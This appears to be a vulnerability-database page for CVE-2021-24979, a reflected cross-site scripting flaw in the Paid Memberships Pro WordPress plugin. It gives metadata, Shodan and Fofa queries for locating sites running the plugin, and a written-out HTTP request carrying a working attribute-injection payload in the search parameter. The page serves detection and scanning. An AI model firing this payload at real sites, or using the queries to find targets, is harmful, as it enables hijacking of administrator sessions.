🔙 목록으로 돌아가기

CVE-2021-24979: Paid Memberships Pro < 2.6.6 - Cross-Site Scripting

TitlePaid Memberships Pro < 2.6.6 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing membership data.
Remediationversion 2.6.6
CVSS Score6.1
EPSS Score0.0269
CVE IDCVE-2021-24979
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/paid-memberships-pro/
Fofa Querybody=/wp-content/plugins/paid-memberships-pro/
Tags cve2021 cve wp wordpress wpscan wp-plugin xss authenticated strangerstudios vuln

🔍 Vulnerability Description

The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=uAQea0&pwd=RkVFtn&wp-submit=Log+In
GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24979.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24979.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A